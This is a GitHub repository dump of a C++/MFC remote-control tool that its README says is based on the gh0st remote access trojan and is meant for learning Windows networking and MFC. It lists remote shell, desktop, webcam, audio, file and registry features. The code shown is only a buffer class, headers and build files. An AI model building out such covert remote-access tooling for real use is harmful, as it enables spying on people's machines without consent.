├── .gitattributes ├── .gitignore ├── README.md ├── Remote ├── Remote.sln ├── Remote.suo └── Remote │ ├── Audio.cpp │ ├── Audio.h │ ├── AudioDlg.cpp │ ├── AudioDlg.h │ ├── Buffer.cpp │ ├── Buffer.h │ ├── Common.h │ ├── CpuUseage.cpp │ ├── CpuUseage.h │ ├── FileManagerDlg.cpp │ ├── FileManagerDlg.h │ ├── FileTransferModeDlg.cpp │ ├── FileTransferModeDlg.h │ ├── FloatWnd.cpp │ ├── FloatWnd.h │ ├── IOCPServer.cpp │ ├── IOCPServer.h │ ├── IniFile.cpp │ ├── IniFile.h │ ├── InputDialog.cpp │ ├── InputDialog.h │ ├── Mapper.h │ ├── ReadMe.txt │ ├── RegDlg.cpp │ ├── RegDlg.h │ ├── Remote.aps │ ├── Remote.cpp │ ├── Remote.h │ ├── Remote.rc │ ├── Remote.vcxproj │ ├── Remote.vcxproj.filters │ ├── Remote.vcxproj.user │ ├── RemoteDlg.cpp │ ├── RemoteDlg.h │ ├── ScreenSpyDlg.cpp │ ├── ScreenSpyDlg.h │ ├── ServerDlg.cpp │ ├── ServerDlg.h │ ├── SettingDlg.cpp │ ├── SettingDlg.h │ ├── ShellDlg.cpp │ ├── ShellDlg.h │ ├── SystemDlg.cpp │ ├── SystemDlg.h │ ├── TrueColorToolBar.cpp │ ├── TrueColorToolBar.h │ ├── VideoDlg.cpp │ ├── VideoDlg.h │ ├── res │ ├── 1.cur │ ├── 2.cur │ ├── 3.cur │ ├── 4.cur │ ├── Bitmap_4.bmp │ ├── Bitmap_5.bmp │ ├── Estimate.bmp │ ├── Remote.ico │ ├── Remote.rc2 │ ├── ToolBar_Main.bmp │ ├── audio.ico │ ├── bitmap1.bmp │ ├── bmp00001.bmp │ ├── bmp00002.bmp │ ├── cmdshell.ico │ ├── dot.cur │ ├── dword.ico │ ├── regsz.ico │ ├── system.ico │ ├── toolbar1.bmp │ └── 文件夹.ico │ ├── resource.h │ ├── stdafx.cpp │ ├── stdafx.h │ ├── targetver.h │ ├── zconf.h │ ├── zlib.h │ └── zlib.lib └── ServerDll ├── Audio.cpp ├── Audio.h ├── AudioManager.cpp ├── AudioManager.h ├── Buffer.cpp ├── Buffer.h ├── CaptureVideo.cpp ├── CaptureVideo.h ├── ClientSocket.cpp ├── ClientSocket.h ├── Common.cpp ├── Common.h ├── DynamicAPI.h ├── FileManager.cpp ├── FileManager.h ├── KernelManager.cpp ├── KernelManager.h ├── Login.cpp ├── Login.h ├── Manager.cpp ├── Manager.h ├── ReadMe.txt ├── RegEditEx.cpp ├── RegEditEx.h ├── RegManager.cpp ├── RegManager.h ├── RegeditOpt.cpp ├── RegeditOpt.h ├── ScreenManager.cpp ├── ScreenManager.h ├── ScreenSpy.cpp ├── ScreenSpy.h ├── Script.aps ├── Script.rc ├── ServerDll.cpp ├── ServerDll.dsp ├── ServerDll.dsw ├── ServerDll.ncb ├── ServerDll.opt ├── ServerDll.plg ├── ServerManager.cpp ├── ServerManager.h ├── ShellManager.cpp ├── ShellManager.h ├── StdAfx.cpp ├── StdAfx.h ├── SystemManager.cpp ├── SystemManager.h ├── Talk.cpp ├── Talk.h ├── VideoCap.cpp ├── VideoCap.h ├── VideoCodec.h ├── VideoManager.cpp ├── VideoManager.h ├── resource.h ├── zconf.h ├── zlib.h └── zlib.lib /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Windows image file caches 2 | Thumbs.db 3 | ehthumbs.db 4 | 5 | # Folder config file 6 | Desktop.ini 7 | 8 | # Recycle Bin used on file shares 9 | $RECYCLE.BIN/ 10 | 11 | # Windows Installer files 12 | *.cab 13 | *.msi 14 | *.msm 15 | *.msp 16 | 17 | # Windows shortcuts 18 | *.lnk 19 | 20 | # ========================= 21 | # Operating System Files 22 | # ========================= 23 | 24 | # OSX 25 | # ========================= 26 | 27 | .DS_Store 28 | .AppleDouble 29 | .LSOverride 30 | 31 | # Thumbnails 32 | ._* 33 | 34 | # Files that might appear in the root of a volume 35 | .DocumentRevisions-V100 36 | .fseventsd 37 | .Spotlight-V100 38 | .TemporaryItems 39 | .Trashes 40 | .VolumeIcon.icns 41 | 42 | # Directories potentially created on remote AFP share 43 | .AppleDB 44 | .AppleDesktop 45 | Network Trash Folder 46 | Temporary Items 47 | .apdisk 48 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 远程控制 2 | 3 | ## 实现功能 4 | * 远程CMD 5 | * 远程进程 6 | * 远程窗口 7 | * 远程桌面 8 | * 远程通话 9 | * 远程视频 10 | * 远程文件 11 | * 远程注册表 12 | 13 | ## 文件结构 14 | * Remote 文件夹是控制端的代码,采用VS2010开发。 15 | * ServerDll 文件夹中是被控端的代码,采用VC6.0开发。 16 | 17 | ## 关于 18 | 基于开源的远控木马gh0st,主要用于学习Windows下的应用程序开发。涉及很多Windows开发技术,例如IOCP,文件操作, 19 | 线程同步等等,是非常好的学习Windows平台下网络通信与MFC开发的项目。在开发的整个过程中更能体会到C++ 20 | 对于大型程序开发的驾驭能力。 21 | 22 | ## 相关书籍 23 | * 《Windows网络与通信程序设计(王艳平) 24 | * 《Windows程序设计》 25 | * 《Windows核心编程》 26 | * 《深入浅出MFC》 -------------------------------------------------------------------------------- /Remote/Remote.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual Studio 2010 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Remote", "Remote\Remote.vcxproj", "{7B054B39-04D5-4459-9496-50747A48EBA5}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Debug|x64 = Debug|x64 10 | Release|Win32 = Release|Win32 11 | Release|x64 = Release|x64 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {7B054B39-04D5-4459-9496-50747A48EBA5}.Debug|Win32.ActiveCfg = Debug|Win32 15 | {7B054B39-04D5-4459-9496-50747A48EBA5}.Debug|Win32.Build.0 = Debug|Win32 16 | {7B054B39-04D5-4459-9496-50747A48EBA5}.Debug|x64.ActiveCfg = Debug|x64 17 | {7B054B39-04D5-4459-9496-50747A48EBA5}.Debug|x64.Build.0 = Debug|x64 18 | {7B054B39-04D5-4459-9496-50747A48EBA5}.Release|Win32.ActiveCfg = Release|Win32 19 | {7B054B39-04D5-4459-9496-50747A48EBA5}.Release|Win32.Build.0 = Release|Win32 20 | {7B054B39-04D5-4459-9496-50747A48EBA5}.Release|x64.ActiveCfg = Release|x64 21 | {7B054B39-04D5-4459-9496-50747A48EBA5}.Release|x64.Build.0 = Release|x64 22 | EndGlobalSection 23 | GlobalSection(SolutionProperties) = preSolution 24 | HideSolutionNode = FALSE 25 | EndGlobalSection 26 | EndGlobal 27 | -------------------------------------------------------------------------------- /Remote/Remote.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote.suo -------------------------------------------------------------------------------- /Remote/Remote/Audio.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/Audio.cpp -------------------------------------------------------------------------------- /Remote/Remote/Audio.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #pragma comment(lib, "Winmm.lib") 6 | 7 | class CAudio 8 | { 9 | public: 10 | CAudio(void); 11 | ~CAudio(void); 12 | int m_nBufferLength; 13 | 14 | LPBYTE m_lpInAudioData[2]; 15 | LPBYTE m_lpOutAudioData[2]; 16 | 17 | HWAVEIN m_hWaveIn; 18 | int m_nWaveInIndex; 19 | int m_nWaveOutIndex; 20 | 21 | HANDLE m_hEventWaveIn; 22 | HANDLE m_hStartRecord; 23 | 24 | LPBYTE GetRecordBuffer(LPDWORD lpdwBytes); 25 | bool PlayBuffer(LPBYTE lpWaveBuffer, DWORD dwBytes); 26 | private: 27 | HANDLE m_hThreadCallBack; 28 | 29 | LPWAVEHDR m_lpInAudioHdr[2]; 30 | LPWAVEHDR m_lpOutAudioHdr[2]; 31 | 32 | HWAVEOUT m_hWaveOut; 33 | 34 | bool m_bIsWaveInUsed; 35 | bool m_bIsWaveOutUsed; 36 | GSM610WAVEFORMAT m_GSMWavefmt; 37 | 38 | bool InitializeWaveIn(); 39 | bool InitializeWaveOut(); 40 | 41 | static DWORD WINAPI waveInCallBack(LPVOID lparam); 42 | }; 43 | 44 | -------------------------------------------------------------------------------- /Remote/Remote/AudioDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/AudioDlg.cpp -------------------------------------------------------------------------------- /Remote/Remote/AudioDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/AudioDlg.h -------------------------------------------------------------------------------- /Remote/Remote/Buffer.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "Buffer.h" 3 | #include 4 | 5 | 6 | CBuffer::CBuffer() 7 | { 8 | m_nSize = 0; 9 | 10 | m_pPtr = m_pBase = NULL; 11 | } 12 | 13 | CBuffer::~CBuffer() 14 | { 15 | if (m_pBase) 16 | VirtualFree(m_pBase,0,MEM_RELEASE); 17 | } 18 | 19 | 20 | 21 | 22 | BOOL CBuffer::Write(PBYTE pData, UINT nSize) 23 | { 24 | ReAllocateBuffer(nSize + GetBufferLen()); 25 | 26 | CopyMemory(m_pPtr,pData,nSize); 27 | 28 | m_pPtr+=nSize; 29 | 30 | return nSize; 31 | } 32 | 33 | BOOL CBuffer::Insert(PBYTE pData, UINT nSize) 34 | { 35 | ReAllocateBuffer(nSize + GetBufferLen()); 36 | 37 | MoveMemory(m_pBase+nSize,m_pBase,GetMemSize() - nSize); 38 | CopyMemory(m_pBase,pData,nSize); 39 | 40 | 41 | m_pPtr+=nSize; 42 | 43 | return nSize; 44 | } 45 | 46 | 47 | 48 | UINT CBuffer::Read(PBYTE pData, UINT nSize) 49 | { 50 | 51 | if (nSize > GetMemSize()) 52 | return 0; 53 | 54 | 55 | if (nSize > GetBufferLen()) 56 | nSize = GetBufferLen(); 57 | 58 | 59 | if (nSize) 60 | { 61 | CopyMemory(pData,m_pBase,nSize); 62 | 63 | 64 | MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize); 65 | 66 | m_pPtr -= nSize; 67 | } 68 | 69 | DeAllocateBuffer(GetBufferLen()); 70 | 71 | return nSize; 72 | } 73 | 74 | 75 | 76 | UINT CBuffer::GetMemSize() 77 | { 78 | return m_nSize; 79 | } 80 | 81 | 82 | UINT CBuffer::GetBufferLen() 83 | { 84 | if (m_pBase == NULL) 85 | return 0; 86 | 87 | int nSize = 88 | m_pPtr - m_pBase; 89 | return nSize; 90 | } 91 | 92 | UINT CBuffer::ReAllocateBuffer(UINT nRequestedSize) 93 | { 94 | if (nRequestedSize < GetMemSize()) 95 | return 0; 96 | 97 | 98 | UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024; 99 | 100 | 101 | PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE); 102 | 103 | UINT nBufferLen = GetBufferLen(); 104 | CopyMemory(pNewBuffer,m_pBase,nBufferLen); 105 | 106 | if (m_pBase) 107 | VirtualFree(m_pBase,0,MEM_RELEASE); 108 | m_pBase = pNewBuffer; 109 | 110 | 111 | m_pPtr = m_pBase + nBufferLen; 112 | 113 | m_nSize = nNewSize; 114 | 115 | return m_nSize; 116 | } 117 | 118 | 119 | UINT CBuffer::DeAllocateBuffer(UINT nRequestedSize) 120 | { 121 | if (nRequestedSize < GetBufferLen()) 122 | return 0; 123 | 124 | 125 | UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024; 126 | 127 | if (nNewSize < GetMemSize()) 128 | return 0; 129 | 130 | 131 | PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE); 132 | 133 | UINT nBufferLen = GetBufferLen(); 134 | CopyMemory(pNewBuffer,m_pBase,nBufferLen); 135 | 136 | VirtualFree(m_pBase,0,MEM_RELEASE); 137 | 138 | 139 | m_pBase = pNewBuffer; 140 | 141 | 142 | m_pPtr = m_pBase + nBufferLen; 143 | 144 | m_nSize = nNewSize; 145 | 146 | return m_nSize; 147 | } 148 | 149 | int CBuffer::Scan(PBYTE pScan,UINT nPos) 150 | { 151 | if (nPos > GetBufferLen() ) 152 | return -1; 153 | 154 | PBYTE pStr = (PBYTE) strstr((char*)(m_pBase+nPos),(char*)pScan); 155 | 156 | int nOffset = 0; 157 | 158 | if (pStr) 159 | nOffset = (pStr - m_pBase) + strlen((char*)pScan); 160 | 161 | return nOffset; 162 | } 163 | 164 | 165 | 166 | void CBuffer::ClearBuffer() 167 | { 168 | 169 | m_pPtr = m_pBase; 170 | 171 | DeAllocateBuffer(1024); 172 | } 173 | 174 | 175 | BOOL CBuffer::Write(CString& strData) 176 | { 177 | int nSize = strData.GetLength(); 178 | return Write((PBYTE) strData.GetBuffer(nSize), nSize); 179 | } 180 | 181 | 182 | BOOL CBuffer::Insert(CString& strData) 183 | { 184 | int nSize = strData.GetLength(); 185 | return Insert((PBYTE) strData.GetBuffer(nSize), nSize); 186 | } 187 | 188 | 189 | void CBuffer::Copy(CBuffer& buffer) 190 | { 191 | int nReSize = buffer.GetMemSize(); 192 | int nSize = buffer.GetBufferLen(); 193 | ClearBuffer(); 194 | ReAllocateBuffer(nReSize); 195 | 196 | m_pPtr = m_pBase + nSize; 197 | 198 | CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen()); 199 | } 200 | 201 | 202 | 203 | PBYTE CBuffer::GetBuffer(UINT nPos) 204 | { 205 | return m_pBase+nPos; 206 | } 207 | 208 | 209 | void CBuffer::FileWrite(const CString& strFileName) 210 | { 211 | CFile file; 212 | 213 | if (file.Open(strFileName, CFile::modeWrite | CFile::modeCreate)) 214 | { 215 | file.Write(m_pBase,GetBufferLen()); 216 | file.Close(); 217 | } 218 | } 219 | 220 | UINT CBuffer::Delete(UINT nSize) 221 | { 222 | 223 | if (nSize > GetMemSize()) 224 | return 0; 225 | if (nSize > GetBufferLen()) 226 | nSize = GetBufferLen(); 227 | 228 | 229 | if (nSize) 230 | { 231 | MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize); 232 | 233 | m_pPtr -= nSize; 234 | } 235 | 236 | DeAllocateBuffer(GetBufferLen()); 237 | 238 | return nSize; 239 | } -------------------------------------------------------------------------------- /Remote/Remote/Buffer.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | class CBuffer 4 | { 5 | 6 | protected: 7 | PBYTE m_pBase; 8 | PBYTE m_pPtr; 9 | UINT m_nSize; 10 | protected: 11 | UINT ReAllocateBuffer(UINT nRequestedSize); 12 | UINT DeAllocateBuffer(UINT nRequestedSize); 13 | UINT GetMemSize(); 14 | public: 15 | void ClearBuffer(); 16 | 17 | UINT Delete(UINT nSize); 18 | UINT Read(PBYTE pData, UINT nSize); 19 | BOOL Write(PBYTE pData, UINT nSize); 20 | BOOL Write(CString& strData); 21 | UINT GetBufferLen(); 22 | int Scan(PBYTE pScan,UINT nPos); 23 | BOOL Insert(PBYTE pData, UINT nSize); 24 | BOOL Insert(CString& strData); 25 | 26 | void Copy(CBuffer& buffer); 27 | 28 | PBYTE GetBuffer(UINT nPos=0); 29 | 30 | CBuffer(); 31 | virtual ~CBuffer(); 32 | 33 | void FileWrite(const CString& strFileName); 34 | 35 | }; -------------------------------------------------------------------------------- /Remote/Remote/Common.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/Common.h -------------------------------------------------------------------------------- /Remote/Remote/CpuUseage.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/CpuUseage.cpp -------------------------------------------------------------------------------- /Remote/Remote/CpuUseage.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/CpuUseage.h -------------------------------------------------------------------------------- /Remote/Remote/FileManagerDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/FileManagerDlg.cpp -------------------------------------------------------------------------------- /Remote/Remote/FileManagerDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/FileManagerDlg.h -------------------------------------------------------------------------------- /Remote/Remote/FileTransferModeDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/FileTransferModeDlg.cpp -------------------------------------------------------------------------------- /Remote/Remote/FileTransferModeDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/FileTransferModeDlg.h -------------------------------------------------------------------------------- /Remote/Remote/FloatWnd.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/FloatWnd.cpp -------------------------------------------------------------------------------- /Remote/Remote/FloatWnd.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/FloatWnd.h -------------------------------------------------------------------------------- /Remote/Remote/IOCPServer.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/IOCPServer.cpp -------------------------------------------------------------------------------- /Remote/Remote/IOCPServer.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/IOCPServer.h -------------------------------------------------------------------------------- /Remote/Remote/IniFile.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/IniFile.cpp -------------------------------------------------------------------------------- /Remote/Remote/IniFile.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | class CIniFile 5 | { 6 | public: 7 | CIniFile(); 8 | virtual ~CIniFile(); 9 | void SetIniFileName(CString FileName){ IniFileName = FileName; } 10 | CString GetIniFileName(){ return IniFileName; } 11 | 12 | CString GetString(CString AppName, CString KeyName, CString Default = ""); 13 | int GetInt(CString AppName, CString KeyName, int Default = 0); 14 | unsigned long GetDWORD(CString AppName, CString KeyName, unsigned long Default = 0); 15 | 16 | BOOL SetString(CString AppName, CString KeyName, CString Data); 17 | BOOL SetInt(CString AppName, CString KeyName, int Data); 18 | BOOL SetDouble(CString AppName, CString KeyName, double Data); 19 | BOOL SetDWORD(CString AppName, CString KeyName, unsigned long Data); 20 | private: 21 | CString IniFileName; 22 | }; -------------------------------------------------------------------------------- /Remote/Remote/InputDialog.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/InputDialog.cpp -------------------------------------------------------------------------------- /Remote/Remote/InputDialog.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/InputDialog.h -------------------------------------------------------------------------------- /Remote/Remote/Mapper.h: -------------------------------------------------------------------------------- 1 | #ifndef __IO_MAPPER__ 2 | #define __IO_MAPPER__ 3 | 4 | #define net_msg 5 | 6 | class __declspec(novtable) CIOMessageMap 7 | { 8 | public: 9 | virtual bool ProcessIOMessage(IOType clientIO, ClientContext* pContext, DWORD dwSize) = 0; 10 | }; 11 | 12 | #define BEGIN_IO_MSG_MAP() \ 13 | public: \ 14 | bool ProcessIOMessage(IOType clientIO, ClientContext* pContext, DWORD dwSize = 0) \ 15 | { \ 16 | bool bRet = false; 17 | 18 | #define IO_MESSAGE_HANDLER(msg, func) \ 19 | if (msg == clientIO) \ 20 | bRet = func(pContext, dwSize); 21 | 22 | #define END_IO_MSG_MAP() \ 23 | return bRet; \ 24 | } 25 | 26 | #endif -------------------------------------------------------------------------------- /Remote/Remote/ReadMe.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/ReadMe.txt -------------------------------------------------------------------------------- /Remote/Remote/RegDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/RegDlg.cpp -------------------------------------------------------------------------------- /Remote/Remote/RegDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/RegDlg.h -------------------------------------------------------------------------------- /Remote/Remote/Remote.aps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/Remote.aps -------------------------------------------------------------------------------- /Remote/Remote/Remote.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/Remote.cpp -------------------------------------------------------------------------------- /Remote/Remote/Remote.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/Remote.h -------------------------------------------------------------------------------- /Remote/Remote/Remote.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/Remote/Remote/Remote.rc -------------------------------------------------------------------------------- /Remote/Remote/Remote.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Debug 10 | x64 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {7B054B39-04D5-4459-9496-50747A48EBA5} 23 | Remote 24 | MFCProj 25 | 26 | 27 | 28 | Application 29 | true 30 | MultiByte 31 | Static 32 | 33 | 34 | Application 35 | true 36 | MultiByte 37 | Static 38 | 39 | 40 | Application 41 | false 42 | true 43 | MultiByte 44 | Static 45 | 46 | 47 | Application 48 | false 49 | true 50 | MultiByte 51 | Static 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | true 71 | 72 | 73 | true 74 | 75 | 76 | false 77 | 78 | 79 | false 80 | 81 | 82 | 83 | Use 84 | Level3 85 | Disabled 86 | WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions) 87 | 88 | 89 | Windows 90 | true 91 | zlib.lib;%(AdditionalDependencies) 92 | LIBCMT.lib;%(IgnoreSpecificDefaultLibraries) 93 | 94 | 95 | false 96 | true 97 | _DEBUG;%(PreprocessorDefinitions) 98 | 99 | 100 | 0x0804 101 | _DEBUG;%(PreprocessorDefinitions) 102 | $(IntDir);%(AdditionalIncludeDirectories) 103 | 104 | 105 | 106 | 107 | Use 108 | Level3 109 | Disabled 110 | WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions) 111 | 112 | 113 | Windows 114 | true 115 | zlib.lib;%(AdditionalDependencies) 116 | LIBCMT.lib;%(IgnoreSpecificDefaultLibraries) 117 | 118 | 119 | false 120 | _DEBUG;%(PreprocessorDefinitions) 121 | 122 | 123 | 0x0804 124 | _DEBUG;%(PreprocessorDefinitions) 125 | $(IntDir);%(AdditionalIncludeDirectories) 126 | 127 | 128 | 129 | 130 | Level3 131 | Use 132 | MaxSpeed 133 | true 134 | true 135 | WIN32;_WINDOWS;NDEBUG;%(PreprocessorDefinitions) 136 | 137 | 138 | Windows 139 | true 140 | true 141 | true 142 | 143 | 144 | false 145 | true 146 | NDEBUG;%(PreprocessorDefinitions) 147 | 148 | 149 | 0x0804 150 | NDEBUG;%(PreprocessorDefinitions) 151 | $(IntDir);%(AdditionalIncludeDirectories) 152 | 153 | 154 | 155 | 156 | Level3 157 | Use 158 | MaxSpeed 159 | true 160 | true 161 | WIN32;_WINDOWS;NDEBUG;%(PreprocessorDefinitions) 162 | 163 | 164 | Windows 165 | true 166 | true 167 | true 168 | 169 | 170 | false 171 | NDEBUG;%(PreprocessorDefinitions) 172 | 173 | 174 | 0x0804 175 | NDEBUG;%(PreprocessorDefinitions) 176 | $(IntDir);%(AdditionalIncludeDirectories) 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | Create 252 | Create 253 | Create 254 | Create 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | -------------------------------------------------------------------------------- /Remote/Remote/Remote.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {cf1818de-e5f1-46dd-90f4-b707d7439e6a} 18 | 19 | 20 | {f7b78b3a-5e0c-458b-bd1c-435db862bb5a} 21 | 22 | 23 | {1e0e42dd-8ad4-4b16-b0c2-22eb0f0530a6} 24 | 25 | 26 | {ef51d3be-cf42-4dfb-b1c2-707a706cbfae} 27 | 28 | 29 | {e7dad8ea-1869-4d39-a7a8-5e87e38cc361} 30 | 31 | 32 | {03d369e0-c33b-4a77-9feb-7bcaa7fb5463} 33 | 34 | 35 | {46a874d6-7911-423e-b2b8-be7b4c9c910b} 36 | 37 | 38 | {8f20b86a-0ab6-48c0-a057-ffbe60aa548d} 39 | 40 | 41 | {8e710f8e-84dd-4450-b388-a5d17e51ebd5} 42 | 43 | 44 | {0c7e9d0c-cff8-4bab-90e9-fad3864b1e89} 45 | 46 | 47 | {eee9032d-825b-422c-9be5-5a72f940b449} 48 | 49 | 50 | {b7498153-ed1d-4040-a7c6-9b012cec0308} 51 | 52 | 53 | {a3306e03-63f3-4e11-8dd6-53d33ffddf07} 54 | 55 | 56 | {404b7724-4087-4580-8584-1494d432a4b2} 57 | 58 | 59 | {3b009b66-46de-44b7-acfd-2993f212198e} 60 | 61 | 62 | 63 | 64 | 65 | 资源文件 66 | 67 | 68 | 资源文件 69 | 70 | 71 | 资源文件 72 | 73 | 74 | 资源文件 75 | 76 | 77 | 资源文件 78 | 79 | 80 | 资源文件 81 | 82 | 83 | 资源文件 84 | 85 | 86 | 资源文件 87 | 88 | 89 | 资源文件 90 | 91 | 92 | 资源文件 93 | 94 | 95 | 资源文件 96 | 97 | 98 | 资源文件 99 | 100 | 101 | 资源文件 102 | 103 | 104 | 资源文件 105 | 106 | 107 | 资源文件 108 | 109 | 110 | 资源文件 111 | 112 | 113 | 资源文件 114 | 115 | 116 | 资源文件 117 | 118 | 119 | 资源文件 120 | 121 | 122 | 资源文件 123 | 124 | 125 | 资源文件 126 | 127 | 128 | 129 | 130 | 头文件 131 | 132 | 133 | 头文件 134 | 135 | 136 | 头文件 137 | 138 | 139 | 头文件 140 | 141 | 142 | 头文件 143 | 144 | 145 | 扩展工具条 146 | 147 | 148 | 内核文件 149 | 150 | 151 | CPU效率 152 | 153 | 154 | 配置向导 155 | 156 | 157 | 缓冲区 158 | 159 | 160 | 公用函数 161 | 162 | 163 | 头文件 164 | 165 | 166 | 头文件 167 | 168 | 169 | 远程终端Dlg 170 | 171 | 172 | 系统管理Dlg 173 | 174 | 175 | 配置Dlg 176 | 177 | 178 | 公用函数 179 | 180 | 181 | 远程文件Dlg 182 | 183 | 184 | 远程文件Dlg 185 | 186 | 187 | 